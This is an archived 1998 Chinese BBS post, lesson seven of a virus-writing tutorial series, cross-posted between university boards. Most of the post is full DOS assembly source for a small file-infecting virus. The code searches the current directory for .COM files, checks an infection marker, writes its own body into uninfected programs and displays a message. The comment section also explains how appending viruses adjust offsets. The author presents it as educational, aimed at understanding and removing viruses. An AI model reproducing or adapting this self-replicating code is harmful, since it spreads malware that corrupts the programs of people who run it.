Virus 版 (精华区)

发信人: OrangeGun (橘子枪), 信区: Virus
标  题: 病毒教程之七---一个最短小的COM病毒     
发信站: 紫 丁 香 (Tue Jul  7 19:21:20 1998), 转信

发信人: bluesea (蓝海), 信区: Virus
标  题: 病毒教程之七---一个最短小的COM病毒
发信站: BBS 水木清华站 (Tue Jun 30 11:17:00 1998)

发信人: cynicism (文月), 信区: Virus 
标  题: 病毒教程之七---一个最短小的COM病毒 
发信站: 龙门客栈 (Thu May 14 19:13:47 1998), 转信 

Comment~ 
这是一个最小的病毒程序 
不驻留内存 
每次执行的时候感染当前目录的COM文件 
Macro:Pmain,Pend,Pushall,Popall见另外一个例子 
这只是一个模拟病毒程序 
在两个COM类型的病毒例子中我都采用感染在 
前面的方法,然而真实的病毒大部分采用 
附加在后面的办法 
附加在后面有两种处理方式 
一种是修改前三个字节直接JMP 到病毒程序 
这样OFFSET都发生了变化 
例如本来在病毒程序中的100H 
可能变成1112H,等等 
你的程序需要做如下改动: 
把宿主程序的长度作为相对偏移放入BX中 
每次访问数据采用这种形式mov ax,mybuf[BX] 
当然第一次感染的时候BX为0 

或者你可以采用段对齐的办法 
修改宿主的前几个字节为 
Mov ax,cs 
Add ax,(SUZHULen+15)/16 -16 
Push ax 
Mov ax,100h 
Push ax 
Retf 
这样你可以使得你的病毒程序入口依然保持在100H 
但是既然只是演示病毒的编写方法, 
我们的目的只是让大家认识病毒为何物, 
取消对病毒的畏惧,并且讨论病毒的杀除办法 
所以我的病毒例子并不计较太多的方法。 



Include stdio.h 
Include PushPop.asm 
Pmain 
db 0EBH,00 ;病毒感染标志,JMP 102 
Mov ah,9 
Mov Dx,Offset MSG 
Int 21h ;发作部分,显示信息 
Push SaveSize 
Pop SaveSize_ ;保存上次保存的部分 
Mov ah,1ah 
Push cs 
Pop ds 
Mov Dx,Offset DTABUF 
Int 21H ;设置DTA的指针 
Mov ah,4eh 
Mov Cx,4fh 
Mov Dx,Offset FindName 
Int 21h ;开始查找COM文件 
NextFind: 
JC SearchEnd 
Mov Dx,Offset DTABUF+30 
Mov ax,3d02h 
Int 21h ;DTABUF+30为查找出的文件名存贮位置 
JC SearchEnd_ 
Mov FileHandle,AX 
Call Effect ;感染 
SearchEnd_: 
Push cs 
Pop ds 
Mov ah,4fh 
Int 21h 
JMP NEXTFIND 
SearchEnd: 
Mov ah,1ah 
Push cs 
Pop ds 
Mov Dx,80h 
Int 21h ;设回DTA的指针 
Mov SI,SAVESIZE_ 
ADD SI,100h 
Mov DI,100H ;把保存的宿主代码移动到100H 
Push cs 
Pop ds 
Push cs 
Pop es 
Mov ax,100h 
Push ax 
CLD 
Mov Cx,Offset EndFile-100H 
Rep Movsb 
Retn 
Effect Proc Near ;病毒感染程序与另外一个例子类似 
Pushall ;不再注释 
Push cs 
Pop ds 
Mov BX,FileHandle 
Mov CX,Offset EndFile-100H 
Mov AX,9000H 
Mov DS,AX 
Mov Dx,0 
Mov ah,3fh 
Int 21h 
Cmp Word Ptr DS:[0],00EBH 
JNZ NotEFFECT 
Mov ah,3eh 
Mov Bx,cs:FileHandle 
Int 21h 
Popall 
Ret 
NOTEFFECT: 
Push cs 
Pop ds 
Mov Bx,FileHandle 
Mov ax,4202h 
Mov Cx,0 
Mov Dx,0 
Int 21h 
Mov SAVESIZE,AX 
Mov Bx,FileHandle 

Mov ah,40h 
Mov Cx,Offset EndFile-100h 
Mov Dx,0 
Mov Bx,9000H 
Mov DS,BX 
Mov Bx,cs:FileHandle 
Int 21h 

Push cs 
Pop ds 

Mov AX,4200h 
Mov Cx,0 
Mov Dx,0 
Mov BX,FileHandle 
Int 21h 

Mov ah,40h 
Mov CX,Offset EndOfFile-100h 
Mov DX,100h 
Mov Bx,FileHandle 
Int 21h 

Mov ah,3eh 
Mov Bx,FileHandle 
Int 21h 
Popall 
Ret 
Effect Endp 
FindName db '*.COM',0 
FileHandle dw 0 
DTABUF db 80h dup (0) 
SAVESIZE dw EndOfFile-100h 
SaveSize_ dw 0 
MSG db 'Hello,are you tire ?Good luck to you!',0dh,0ah,'$' 
EndOfFile: 
ENDFILE: 
Mov ax,4c00h 
Int 21h 
Pend 

-- 

※ 来源:.龙门客栈 bbs.szonline.net.[FROM: ppp150.hk.ha.cn] 

--
m4m※ 来源:·BBS 水木清华站 bbs.net.tsinghua.edu.cn·[FROM: 202.99.61.35]m

--
※ 来源:.紫 丁 香 bbs.hit.edu.cn.[FROM: cal.hit.edu.cn]
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:3.566毫秒